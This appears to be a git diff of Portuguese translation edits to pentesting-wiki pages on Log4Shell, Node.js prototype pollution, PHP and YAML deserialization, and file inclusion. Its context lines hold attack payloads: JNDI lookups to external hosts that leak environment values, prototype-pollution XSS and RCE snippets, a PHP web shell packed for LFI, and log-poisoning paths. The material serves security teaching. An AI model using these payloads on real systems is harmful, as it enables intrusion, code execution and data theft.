-Afetando a versão 2.17 do log4j, este CVE requer que o atacante controle o arquivo de configuração do log4j. Envolve a potencial execução de código arbitrário via um JDBCAppender configurado. Mais detalhes estão disponíveis no [post do blog Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
+Afetando a versão 2.17 do log4j, este CVE exige que o atacante controle o arquivo de configuração do log4j. Envolve a potencial execução de código arbitrário via um JDBCAppender configurado. Mais detalhes estão disponíveis no [post do blog Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
 
 ## Exploração do Log4Shell
 
@@ -129,7 +129,7 @@ Esta vulnerabilidade é muito fácil de descobrir se desprotegida, pois enviará
 - `${jndi:ldap://2j4ayo.dnslog.cn}` (usando [dnslog](http://dnslog.cn))
 - `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` (usando [huntress](https://log4shell.huntress.com))
 
-Observe que **mesmo se uma solicitação DNS for recebida, isso não significa que a aplicação seja explorável** (ou mesmo vulnerável), você precisará tentar explorá-la.
+Observe que **mesmo que uma solicitação DNS seja recebida, isso não significa que a aplicação seja explorável** (ou mesmo vulnerável), você precisará tentar explorá-la.
 
 > [!NOTE]
 > Lembre-se de que para **explorar a versão 2.15** você precisa adicionar o **bypass de verificação de localhost**: ${jndi:ldap://**127.0.0.1#**...}
@@ -209,7 +209,7 @@ Any other env variable name that could store sensitive information
 >
 > Para atacantes que visam explorar essas versões mais altas do JDK, é necessário aproveitar um **gadget confiável** dentro da aplicação Java. Ferramentas como ysoserial ou JNDIExploit são frequentemente usadas para esse propósito. Por outro lado, explorar versões mais baixas do JDK é relativamente mais fácil, pois essas versões podem ser manipuladas para carregar e executar classes arbitrárias.
 >
-> Para **mais informações** (_como limitações em vetores RMI e CORBA_) **verifique a seção anterior de Referência de Nomeação JNDI** ou [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
+> Para **mais informações** (_como limitações em vetores RMI e CORBA_) **verifique a seção anterior de Referência de Nomenclatura JNDI** ou [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
 
 ### RCE - Marshalsec com payload personalizado
 
@@ -336,8 +336,8 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
 
 ### Laboratórios para testar
 
-- [**Máquina LogForge HTB**](https://app.hackthebox.com/tracks/UHC-track)
-- [**Sala Solar Try Hack Me**](https://tryhackme.com/room/solar)
+- [**LogForge HTB machine**](https://app.hackthebox.com/tracks/UHC-track)
+- [**Try Hack Me Solar room**](https://tryhackme.com/room/solar)
 - [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn)
 - [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app)
 
@@ -347,11 +347,11 @@ Neste [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022
 
 A [**página de segurança**](https://logging.apache.org/log4j/2.x/security.html) do Log4j tem algumas frases interessantes:
 
-> A partir da versão 2.16.0 (para Java 8), a **funcionalidade de lookups de mensagem foi completamente removida**. **Lookups na configuração ainda funcionam**. Além disso, o Log4j agora desabilita o acesso ao JNDI por padrão. Lookups JNDI na configuração agora precisam ser habilitados explicitamente.
+> A partir da versão 2.16.0 (para Java 8), a **funcionalidade de busca de mensagens foi completamente removida**. **Buscas na configuração ainda funcionam**. Além disso, o Log4j agora desabilita o acesso ao JNDI por padrão. Buscas JNDI na configuração agora precisam ser habilitadas explicitamente.
 
-> A partir da versão 2.17.0, (e 2.12.3 e 2.3.1 para Java 7 e Java 6), **apenas strings de lookup na configuração são expandidas recursivamente**; em qualquer outro uso, apenas o lookup de nível superior é resolvido, e quaisquer lookups aninhados não são resolvidos.
+> A partir da versão 2.17.0, (e 2.12.3 e 2.3.1 para Java 7 e Java 6), **apenas strings de busca na configuração são expandidas recursivamente**; em qualquer outro uso, apenas a busca de nível superior é resolvida, e quaisquer buscas aninhadas não são resolvidas.
 
-Isso significa que, por padrão, você pode **esquecer de usar qualquer exploit `jndi`**. Além disso, para realizar **lookups recursivos**, você precisa tê-los configurados.
+Isso significa que, por padrão, você pode **esquecer de usar qualquer exploit `jndi`**. Além disso, para realizar **buscas recursivas**, você precisa tê-las configuradas.
 
 Por exemplo, neste CTF isso foi configurado no arquivo log4j2.xml:
 ```xml
@@ -362,12 +362,12 @@ Por exemplo, neste CTF isso foi configurado no arquivo log4j2.xml:
 ```
 ### Env Lookups
 
-No [este CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) o atacante controlava o valor de `${sys:cmd}` e precisava exfiltrar a bandeira de uma variável de ambiente.\
+Em [este CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) o atacante controlava o valor de `${sys:cmd}` e precisava exfiltrar a bandeira de uma variável de ambiente.\
 Como visto nesta página em [**payloads anteriores**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification), existem algumas maneiras de acessar variáveis de ambiente, como: **`${env:FLAG}`**. Neste CTF isso foi inútil, mas pode não ser em outros cenários da vida real.
 
 ### Exfiltration in Exceptions
 
-No CTF, você **não conseguia acessar o stderr** da aplicação java usando log4J, mas as **exceções do Log4J são enviadas para stdout**, que foram impressas na aplicação python. Isso significava que, ao acionar uma exceção, poderíamos acessar o conteúdo. Uma exceção para exfiltrar a bandeira foi: **`${java:${env:FLAG}}`.** Isso funciona porque **`${java:CTF{blahblah}}`** não existe e uma exceção com o valor da bandeira será exibida:
+No CTF, você **não conseguia acessar o stderr** da aplicação java usando log4J, mas as **exceções do Log4J são enviadas para stdout**, que foram impressas na aplicação python. Isso significava que, ao acionar uma exceção, poderíamos acessar o conteúdo. Uma exceção para exfiltrar a bandeira foi: **`${java:${env:FLAG}}`.** Isso funciona porque **`${java:CTF{blahblah}}`** não existe e uma exceção com o valor da bandeira será mostrada:
 
 ![](<../../images/image (1023).png>)
 
@@ -386,7 +386,7 @@ No entanto, é possível usar alguns **padrões de conversão que suportam regex
 - **Busca binária via mensagens de exceção**
 
 O padrão de conversão **`%replace`** pode ser usado para **substituir** **conteúdo** de uma **string** mesmo usando **regexes**. Funciona assim: `replace{pattern}{regex}{substitution}`\
-Abusando desse comportamento, você poderia fazer a substituição **acionar uma exceção se o regex corresponder** a qualquer coisa dentro da string (e nenhuma exceção se não fosse encontrado) assim:
+Abusando desse comportamento, você poderia fazer a substituição **acionar uma exceção se a regex corresponder** a qualquer coisa dentro da string (e nenhuma exceção se não fosse encontrada) assim:
 ```bash
 %replace{${env:FLAG}}{^CTF.*}{${error}}
 # The string searched is the env FLAG, the regex searched is ^CTF.*
@@ -414,22 +414,6 @@ Neste [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log
 > }{#}{######################################################}
 > }{#}{######################################################}
 > }{#}{######################################################}
-> }{#}{######################################################}
 > ```
 >
-> Se a flag começar com `flagGuess`, toda a flag é substituída por 29 `#`-s (usei esse caractere porque provavelmente não faria parte da flag). **Cada um dos 29 `#`-s resultantes é então substituído por 54 `#`-s**. Esse processo é repetido **6 vezes**, levando a um total de ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
->
-> Substituir tantos `#`-s acionará o timeout de 10 segundos da aplicação Flask, o que, por sua vez, resultará no código de status HTTP 500 sendo enviado ao usuário. (Se a flag não começar com `flagGuess`, receberemos um código de status diferente de 500)
-
-## Referências
-
-- [https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/](https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/)
-- [https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/](https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/)
-- [https://www.youtube.com/watch?v=XG14EstTgQ4](https://www.youtube.com/watch?v=XG14EstTgQ4)
-- [https://tryhackme.com/room/solar](https://tryhackme.com/room/solar)
-- [https://www.youtube.com/watch?v=Y8a5nB-vy78](https://www.youtube.com/watch?v=Y8a5nB-vy78)
-- [https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf)
-- [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)
-- [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
-
-{{#include ../../banners/hacktricks-training.md}}
+> Se a flag começar com `flagGuess`, toda a flag é substituída por 29 `#`-s (usei esse caractere porque provavelmente não faria parte da flag). **Cada um dos 29

src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md

@@ -56,12 +56,12 @@ this.model = model
 }
 var car1 = new Vehicle("Tesla Model S")
 ```
-O acesso ao protótipo do Object é possível através de:
+O acesso ao protótipo de Object é possível através de:
 ```javascript
 car1.__proto__.__proto__
 Vehicle.__proto__.__proto__
 ```
-Ao adicionar propriedades ao protótipo do Object, todo objeto JavaScript herdará essas novas propriedades:
+Ao adicionar propriedades ao protótipo do Object, todos os objetos JavaScript herdarão essas novas propriedades:
 ```javascript
 function Vehicle(model) {
 this.model = model
@@ -144,7 +144,7 @@ console.log(key1 + "." + key2)
 ```
 ### Poluição de elementos de array
 
-Note que, assim como você pode poluir atributos de objetos em JS, se você tiver acesso para poluir um array, você também pode **poluir valores do array** acessíveis **por índices** (note que você não pode sobrescrever valores, então você precisa poluir índices que são de alguma forma usados, mas não escritos).
+Note que, assim como você pode poluir atributos de objetos em JS, se você tiver acesso para poluir um array, você também pode **poluir valores do array** acessíveis **por índices** (note que você não pode sobrescrever valores, então você precisa poluir índices que são de alguma forma utilizados, mas não escritos).
 ```javascript
 c = [1, 2]
 a = []
@@ -173,7 +173,7 @@ settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domai
 
 Uma poluição de protótipo ocorre devido a uma falha na aplicação que permite sobrescrever propriedades em `Object.prototype`. Isso significa que, uma vez que a maioria dos objetos deriva suas propriedades de `Object.prototype`
 
-O exemplo mais fácil é adicionar um valor a um **atributo indefinido de um objeto** que será verificado, como:
+O exemplo mais simples é adicionar um valor a um **atributo indefinido de um objeto** que será verificado, como:
 ```javascript
 if (user.admin) {
 ```
@@ -235,7 +235,7 @@ Esta vulnerabilidade, identificada como CVE-2019–11358, ilustra como uma cópi
 - [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner): Extensão do Burp Suite projetada para detectar e analisar vulnerabilidades de poluição de protótipo do lado do servidor em aplicações web. Esta ferramenta automatiza o processo de escaneamento de requisições para identificar potenciais problemas de poluição de protótipo. Ela explora gadgets conhecidos - métodos de aproveitamento da poluição de protótipo para executar ações prejudiciais - focando particularmente em bibliotecas Node.js.
 - [**server-side-prototype-pollution**](https://github.com/portswigger/server-side-prototype-pollution): Esta extensão identifica vulnerabilidades de poluição de protótipo do lado do servidor. Ela utiliza técnicas descritas na [poluição de protótipo do lado do servidor](https://portswigger.net/research/server-side-prototype-pollution).
 
-### Poluição de Protótipo AST no NodeJS
+### Poluição de Protótipo AST em NodeJS
 
 NodeJS utiliza extensivamente Árvores de Sintaxe Abstrata (AST) em JavaScript para funcionalidades como motores de template e TypeScript. Esta seção explora as vulnerabilidades relacionadas à poluição de protótipo em motores de template, especificamente Handlebars e Pug.
 
@@ -283,7 +283,7 @@ Este código demonstra como um atacante poderia injetar código arbitrário em u
 
 **Referência Externa**: Um problema relacionado à poluição de protótipos foi encontrado na biblioteca 'flat', conforme detalhado aqui: [Issue on GitHub](https://github.com/hughsk/flat/issues/105).
 
-**Referência Externa**: [Issue related to prototype pollution in the 'flat' library](https://github.com/hughsk/flat/issues/105)
+**Referência Externa**: [Issue relacionado à poluição de protótipos na biblioteca 'flat'](https://github.com/hughsk/flat/issues/105)
 
 Exemplo de exploração de poluição de protótipos em Python:
 ```python

src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md

@@ -6,7 +6,7 @@
 
 As ferramentas [**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**,** [**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap) **e** [**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find) podem ser usadas para **encontrar vulnerabilidades de poluição de protótipo**.
 
-Além disso, você também pode usar a **extensão do navegador** [**PPScan**](https://github.com/msrkp/PPScan) para **escanear automaticamente** as **páginas** que você **acessa** em busca de vulnerabilidades de poluição de protótipo.
+Além disso, você também pode usar a **extensão do navegador** [**PPScan**](https://github.com/msrkp/PPScan) para **automaticamente** **escanear** as **páginas** que você **acessa** em busca de vulnerabilidades de poluição de protótipo.
 
 ### Depurando onde uma propriedade é usada <a href="#id-5530" id="id-5530"></a>
 ```javascript
@@ -46,7 +46,7 @@ origValue = val
 
 debugAccess(Object.prototype, "ppmap")
 ```
-4. Navegue de volta para a aba **Sources** e selecione “Resume script execution”. O JavaScript continuará executando, e a propriedade 'ppmap' será poluída como esperado. Utilizar o trecho fornecido facilita a identificação do local exato onde a propriedade 'ppmap' é poluída. Ao examinar a **Call Stack**, diferentes pilhas onde a poluição ocorreu podem ser observadas.
+4. Navegue de volta para a aba **Sources** e selecione “Resume script execution”. O JavaScript continuará executando, e a propriedade 'ppmap' será poluída como esperado. Utilizar o trecho fornecido facilita a identificação da localização exata onde a propriedade 'ppmap' é poluída. Ao examinar a **Call Stack**, diferentes pilhas onde a poluição ocorreu podem ser observadas.
 
 Ao decidir qual pilha investigar, muitas vezes é útil direcionar-se a pilhas associadas a arquivos de bibliotecas JavaScript, pois a poluição de protótipos frequentemente ocorre dentro dessas bibliotecas. Identifique a pilha relevante examinando sua ligação a arquivos de biblioteca (visível no lado direito, semelhante a uma imagem fornecida como orientação). Em cenários com várias pilhas, como aquelas nas linhas 4 e 6, a escolha lógica é a pilha na linha 4, pois representa a ocorrência inicial da poluição e, portanto, a causa raiz da vulnerabilidade. Clicar na pilha o direcionará para o código vulnerável.
 
@@ -58,7 +58,7 @@ O gadget é o **código que será abusado uma vez que uma vulnerabilidade de PP
 
 Se a aplicação for simples, podemos **procurar** por **palavras-chave** como **`srcdoc/innerHTML/iframe/createElement`** e revisar o código-fonte e verificar se ele **leva à execução de javascript**. Às vezes, as técnicas mencionadas podem não encontrar gadgets de forma alguma. Nesse caso, a revisão pura do código-fonte revela alguns bons gadgets, como o exemplo abaixo.
 
-### Exemplo de Encontrando gadget PP no código da biblioteca Mithil
+### Exemplo de Encontrando gadget de PP no código da biblioteca Mithil
 
 Verifique este writeup: [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/](https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/)
 

src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.md

@@ -16,11 +16,11 @@ _.merge({}, req.body)
 res.send(req.body)
 })
 ```
-Nestes casos, o XSS normalmente não é possível com um tipo de conteúdo JSON. No entanto, com a poluição de protótipos, podemos **confundir o Express para servir uma resposta HTML.** Essa vulnerabilidade depende da aplicação usar **`res.send(obj)`** e usar o body parser com o tipo de conteúdo application/json.
+Nestes casos, XSS normalmente não é possível com um tipo de conteúdo JSON. No entanto, com a poluição de protótipos, podemos **confundir o Express para servir uma resposta HTML.** Essa vulnerabilidade depende da aplicação usar **`res.send(obj)`** e usar o analisador de corpo com o tipo de conteúdo application/json.
 ```json
 { "__proto__": { "_body": true, "body": "<script>evil()" } }
 ```
-Ao **poluir** as propriedades **`body`** e **`_body`**, é possível fazer com que **Express sirva o tipo de conteúdo HTML** e reflita a propriedade `_body`, resultando em XSS armazenado.
+Ao **poluir** as propriedades **`body`** e **`_body`**, é possível fazer com que **o Express sirva o tipo de conteúdo HTML** e reflita a propriedade `_body`, resultando em XSS armazenado.
 
 ### Renderizar UTF7
 
@@ -40,7 +40,7 @@ Então um JSON refletido ficará assim:
 ```json
 {"foo":  "bar"} -- Note the extra space
 ```
-### Exposed Headers
+### Cabeçalhos Expostos
 
 O seguinte gadget de PP fará com que o servidor envie de volta o cabeçalho HTTP: **`Access-Control-Expose_headers: foo`**
 ```json
@@ -90,7 +90,7 @@ Além disso, em cenários onde uma biblioteca como Lodash é empregada, definir
 ### Permitir Pontos
 
 Há uma opção no Express que permite **criar objetos a partir de parâmetros de string de consulta**.\
-Você definitivamente poderia usá-la em uma **cadeia** de bugs para explorar uma **vulnerabilidade de poluição de protótipo
+Você definitivamente poderia usá-la em uma **cadeia** de bugs para explorar uma **vulnerabilidade de poluição de protótipo**.
 ```json
 { "__proto__": { "allowDots": true } }
 ```

src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md

@@ -124,7 +124,7 @@ var proc = fork("a_file.js")
 
 Um payload semelhante ao anterior, com algumas mudanças, foi proposto em [**this writeup**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** As principais diferenças são:
 
-- Em vez de armazenar o **payload** do nodejs dentro do arquivo `/proc/self/environ`, ele o armazena **dentro do argv0** de **`/proc/self/cmdline`**.
+- Em vez de armazenar o **payload** do nodejs dentro do arquivo `/proc/self/environ`, ele o armazena **dentro de argv0** de **`/proc/self/cmdline`**.
 - Em seguida, em vez de requerer via **`NODE_OPTIONS`** o arquivo `/proc/self/environ`, ele **requer `/proc/self/cmdline`**.
 ```javascript
 const { execSync, fork } = require("child_process")
@@ -161,7 +161,7 @@ Usando os seguintes payloads, é possível abusar da variável de ambiente NODE_
 }
 }
 ```
-Ou, para evitar que os WAFs solicitem o domínio:
+Ou, para evitar que os WAFs peçam o domínio:
 ```json
 {
 "__proto__": {
@@ -227,7 +227,7 @@ var proc = execFile("/usr/bin/node")
 
 // Windows - not working
 ```
-Para **`execFile`** funcionar, ele **DEVE executar o node** para que as NODE_OPTIONS funcionem.\
+Para **`execFile`** funcionar, ele **DEVE executar o node** para que os NODE_OPTIONS funcionem.\
 Se **não** estiver executando **node**, você precisa descobrir como **alterar a execução** do que quer que esteja sendo executado **com variáveis de ambiente** e defini-las.
 
 As **outras** técnicas **funcionam** sem esse requisito porque é **possível modificar** **o que é executado** via poluição de protótipo. (Neste caso, mesmo que você possa poluir `.shell`, você não poluirá o que está sendo executado).
@@ -414,7 +414,7 @@ var proc = execSync("something")
 
 <details>
 
-<summary><strong><code>spawnSync</code> exploração</strong></summary>
+<summary><strong>Exploração de <code>spawnSync</code></strong></summary>
 ```javascript
 // environ trick - working with small variation (shell and argv0)
 // NOT working after kEmptyObject (fix) without options
@@ -463,7 +463,7 @@ var proc = spawnSync("something")
 
 ## Forçando Spawn
 
-Nos exemplos anteriores, você viu como acionar o gadget, uma funcionalidade que **chama `spawn`** precisa estar **presente** (todos os métodos de **`child_process`** usados para executar algo a chamam). No exemplo anterior, isso fazia **parte do código**, mas e se o código **não estiver** chamando.
+Nos exemplos anteriores, você viu como acionar o gadget, uma funcionalidade que **chama `spawn`** precisa estar **presente** (todos os métodos de **`child_process`** usados para executar algo a chamam). No exemplo anterior, isso era **parte do código**, mas e se o código **não estiver** chamando.
 
 ### Controlando um caminho de arquivo require
 
@@ -667,7 +667,7 @@ No entanto, assim como os métodos **`child_process`** anteriores, foi **corrigi
 
 Por favor, note que a poluição de protótipos funciona se o **atributo** de um objeto que está sendo acessado é **indefinido**. Se no **código** esse **atributo** é **definido** com um **valor**, você **não poderá sobrescrevê-lo**.
 
-Em jun 2022, a partir de [**este commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a), a var `options` em vez de um `{}` é um **`kEmptyObject`**. O que **impede que uma poluição de protótipo** afete os **atributos** de **`options`** para obter RCE.\
+Em junho de 2022, a partir de [**este commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a), a var `options` em vez de um `{}` é um **`kEmptyObject`**. O que **impede que uma poluição de protótipo** afete os **atributos** de **`options`** para obter RCE.\
 Pelo menos a partir da v18.4.0, essa proteção foi **implementada**, e portanto os **exploits** `spawn` e `spawnSync` que afetam os métodos **não funcionam mais** (se nenhum `options` for usado!).
 
 No [**este commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9), a **poluição de protótipo** de **`contextExtensions`** da biblioteca vm foi **também meio que corrigida** definindo opções como **`kEmptyObject`** em vez de **`{}`.**

src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md

@@ -59,6 +59,6 @@ a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"Guzz
 - O gadget irá **criar um arquivo com um payload PHP** nele em /tmp/a.php com comandos maliciosos (o usuário do webapp não pode escrever em nenhuma pasta de nenhum webapp)
 - A parte final do nosso payload irá **carregar o arquivo php gerado** que executará comandos
 
-Eu precisei **chamar essa desserialização duas vezes**. Nos meus testes, na primeira vez o arquivo `/tmp/a.php` foi criado, mas não carregado, e na segunda vez foi carregado corretamente.
+Eu precisei **chamar essa desserialização duas vezes**. Nos meus testes, da primeira vez o arquivo `/tmp/a.php` foi criado, mas não carregado, e na segunda vez foi carregado corretamente.
 
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/deserialization/python-yaml-deserialization.md

@@ -4,7 +4,7 @@
 
 ## Yaml **Deserialization**
 
-As bibliotecas **Yaml** em python também são capazes de **serializar objetos python** e não apenas dados brutos:
+As bibliotecas **Yaml** do python também são capazes de **serializar objetos python** e não apenas dados brutos:
 ```
 print(yaml.dump(str("lol")))
 lol

src/pentesting-web/file-inclusion/README.md

@@ -13,7 +13,7 @@ Funções **PHP vulneráveis**: require, require_once, include, include_once
 
 Uma ferramenta interessante para explorar essa vulnerabilidade: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
 
-## Blind - Interessante - arquivos LFI2RCE
+## Cegos - Interessantes - Arquivos LFI2RCE
 ```python
 wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
 ```
@@ -281,7 +281,7 @@ No post original, você pode encontrar uma explicação detalhada da técnica, m
 - Usando outras transformações como **rot13** no início, é possível vazar outros caracteres como n, o, p, q, r (e outros codecs podem ser usados para mover outras letras para a faixa hexadecimal).
 - Quando o caractere inicial é um número, é necessário codificá-lo em base64 e vazar as 2 primeiras letras para vazar o número.
 - O problema final é ver **como vazar mais do que a letra inicial**. Usando filtros de memória de ordem como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** é possível mudar a ordem dos caracteres e obter na primeira posição outras letras do texto.
-- E para poder obter **mais dados** a ideia é **gerar 2 bytes de dados lixo no início** com **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para fazer **pivotar com os próximos 2 bytes**, e **deletar os dados até os dados lixo** (isso removerá os primeiros 2 bytes do texto inicial). Continue fazendo isso até alcançar o bit desejado para vazar.
+- E para poder obter **mais dados** a ideia é **gerar 2 bytes de dados lixo no início** com **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para fazer com que **seja pivô com os próximos 2 bytes**, e **deletar os dados até os dados lixo** (isso removerá os primeiros 2 bytes do texto inicial). Continue fazendo isso até alcançar o bit desejado para vazar.
 
 No post, uma ferramenta para realizar isso automaticamente também foi vazada: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
 
@@ -297,7 +297,7 @@ Você também pode usar **php://stdin, php://stdout e php://stderr** para acessa
 ### zip:// e rar://
 
 Carregue um arquivo Zip ou Rar com um PHPShell dentro e acesse-o.\
-Para poder abusar do protocolo rar, ele **precisa ser ativado especificamente**.
+Para poder abusar do protocolo rar, **ele precisa ser ativado especificamente**.
 ```bash
 echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
 zip payload.zip payload.php;
@@ -354,7 +354,7 @@ php --define phar.readonly=0 create_path.php
 ```
 Ao ser executado, um arquivo chamado `test.phar` será criado, o que pode ser potencialmente utilizado para explorar vulnerabilidades de Inclusão de Arquivo Local (LFI).
 
-Em casos onde o LFI apenas realiza a leitura de arquivos sem executar o código PHP dentro, através de funções como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ou `filesize()`, pode-se tentar explorar uma vulnerabilidade de desserialização. Essa vulnerabilidade está associada à leitura de arquivos usando o protocolo `phar`.
+Em casos onde o LFI apenas realiza a leitura de arquivos sem executar o código PHP contido, através de funções como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ou `filesize()`, pode-se tentar explorar uma vulnerabilidade de desserialização. Essa vulnerabilidade está associada à leitura de arquivos usando o protocolo `phar`.
 
 Para uma compreensão detalhada da exploração de vulnerabilidades de desserialização no contexto de arquivos `.phar`, consulte o documento vinculado abaixo:
 
@@ -367,8 +367,8 @@ phar-deserialization.md
 ### CVE-2024-2961
 
 Foi possível abusar de **qualquer arquivo arbitrário lido do PHP que suporta filtros php** para obter um RCE. A descrição detalhada pode ser [**encontrada neste post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
-Um resumo muito rápido: um **overflow de 3 bytes** na heap do PHP foi abusado para **alterar a cadeia de blocos livres** de um tamanho específico para poder **escrever qualquer coisa em qualquer endereço**, então um hook foi adicionado para chamar **`system`**.\
-Foi possível alocar blocos de tamanhos específicos abusando de mais filtros php.
+Um resumo muito rápido: um **overflow de 3 bytes** na heap do PHP foi abusado para **alterar a cadeia de chunks livres** de um tamanho específico para poder **escrever qualquer coisa em qualquer endereço**, então um hook foi adicionado para chamar **`system`**.\
+Foi possível alocar chunks de tamanhos específicos abusando de mais filtros php.
 
 ### Mais protocolos
 
@@ -378,10 +378,10 @@ Verifique mais possíveis [**protocolos para incluir aqui**](https://www.php.net
 - [file://](https://www.php.net/manual/en/wrappers.file.php) — Acessando o sistema de arquivos local
 - [http://](https://www.php.net/manual/en/wrappers.http.php) — Acessando URLs HTTP(s)
 - [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Acessando URLs FTP(s)
-- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Fluxos de Compressão
+- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Streams de Compressão
 - [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Encontrar nomes de caminho que correspondem ao padrão (não retorna nada imprimível, então não é realmente útil aqui)
 - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
-- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Fluxos de áudio (não útil para ler arquivos arbitrários)
+- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Streams de áudio (não útil para ler arquivos arbitrários)
 
 ## LFI via 'assert' do PHP
 
@@ -406,7 +406,7 @@ Da mesma forma, para executar comandos de sistema arbitrários, pode-se usar:
 > [!WARNING]
 > Esta técnica é relevante em casos onde você **controla** o **caminho do arquivo** de uma **função PHP** que irá **acessar um arquivo**, mas você não verá o conteúdo do arquivo (como uma chamada simples para **`file()`**) e o conteúdo não é exibido.
 
-Em [**este post incrível**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) é explicado como uma travessia de caminho cega pode ser abusada via filtro PHP para **exfiltrar o conteúdo de um arquivo através de um oráculo de erro**.
+Em [**este post incrível**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) é explicado como um blind path traversal pode ser abusado via filtro PHP para **exfiltrar o conteúdo de um arquivo através de um oracle de erro**.
 
 Em resumo, a técnica usa a **"codificação UCS-4LE"** para tornar o conteúdo de um arquivo tão **grande** que a **função PHP que abre** o arquivo irá disparar um **erro**.
 
@@ -431,7 +431,7 @@ Se o servidor Apache ou Nginx for **vulnerável a LFI** dentro da função inclu
 >
 > Além disso, certifique-se de **escrever corretamente a carga** ou o PHP irá gerar erro toda vez que tentar carregar o arquivo de log e você não terá uma segunda oportunidade.
 
-Isso também pode ser feito em outros logs, mas **tenha cuidado**, o código dentro dos logs pode estar URL codificado e isso pode destruir o Shell. O cabeçalho **autorização "basic"** contém "user:password" em Base64 e é decodificado dentro dos logs. O PHPShell pode ser inserido dentro desse cabeçalho.\
+Isso também pode ser feito em outros logs, mas **tenha cuidado**, o código dentro dos logs pode estar URL codificado e isso pode destruir o Shell. O cabeçalho **authorisation "basic"** contém "user:password" em Base64 e é decodificado dentro dos logs. O PHPShell pode ser inserido dentro desse cabeçalho.\
 Outros possíveis caminhos de log:
 ```python
 /var/log/apache2/access.log
@@ -464,7 +464,7 @@ User-Agent: <?=phpinfo(); ?>
 ```
 ### Via upload
 
-Se você puder fazer o upload de um arquivo, basta injetar a carga útil do shell nele (por exemplo: `<?php system($_GET['c']); ?>`).
+Se você puder fazer upload de um arquivo, apenas injete o payload da shell nele (por exemplo: `<?php system($_GET['c']); ?>`).
 ```
 http://example.com/index.php?page=path/to/uploaded/file.png
 ```
@@ -476,7 +476,7 @@ Faça o upload de um arquivo ZIP contendo um shell PHP comprimido e acesse:
 ```python
 example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
